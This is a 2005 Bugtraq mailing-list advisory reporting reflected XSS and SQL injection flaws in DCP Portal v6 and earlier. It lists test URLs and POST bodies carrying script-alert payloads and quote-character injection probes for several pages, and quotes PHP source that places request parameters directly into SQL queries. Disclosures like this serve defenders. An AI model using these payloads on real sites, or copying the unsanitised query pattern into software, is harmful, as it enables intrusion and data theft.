[prev in list] [next in list] [prev in thread] [next in thread]
List: bugtraq
Subject: DCP - portal XSS & SQL attacks
From: alex () aleksanet ! com
Date: 2005-10-24 11:13:31
Message-ID: 20051024111331.12092.qmail () securityfocus ! com
[Download RAW message or body]
Web Site: http://www.dcp-portal.org/
DCP Portal <= v6
This script is possibly vulnerable to SQL Injection attacks AND Cross Site Scripting \
(XSS) attacks
The script has been tested with these query variables:
XSS :
http://[target]/index.php?page=send&cid=<script>alert(document.cookie);</script>
XSS - only POST metod
calendar.php
http://[target]/calendar.php
The script has been tested with these POST variables:
month=<script>alert(document.cookie);</script>&s=1&submit=GO&year=2003&day=01
Also this script is possibly vulnerable to SQL Injection attacks.
The SQL Injection attacks has been tested with these POST variables:
register.php
sex=1&name=%27&surname=1&email=1&b_month=0&b_day=0&b_year=0&address=1&zip=1&city=1&cou \
ntry=1&job=1&tel=1&signature=1&username=1&password=1&password2=1&hide=on&list=on&action=send&submit=Send
lostpassword.php
mode=lost&email=%27&submit=Send
calendar.php
month=1&s=1&submit=GO&year='&day=01
month=1&s=1&submit=GO&year=%27&day=01
index.php?cid=%27[SQL]
cod from index.php
$sql = "SELECT id, name FROM $t_cats WHERE cat_id = '".$_GET["cid"]."' ORDER BY \
sort, name"; $result = mysql_query($sql);
forums.php?action=showmsg&mid=%27[SQL]
cod from forum.php
$resultt = mysql_query("SELECT * FROM $t_forum_msg WHERE b_id = '".$_GET["bid"]."' \
$where AND msg_id = '0'"); while($rowt=mysql_fetch_array($resultt)) {
Best Regards
Alex
[prev in list] [next in list] [prev in thread] [next in thread]
Configure |
About |
News |
Add a list |
Sponsored by KoreLogic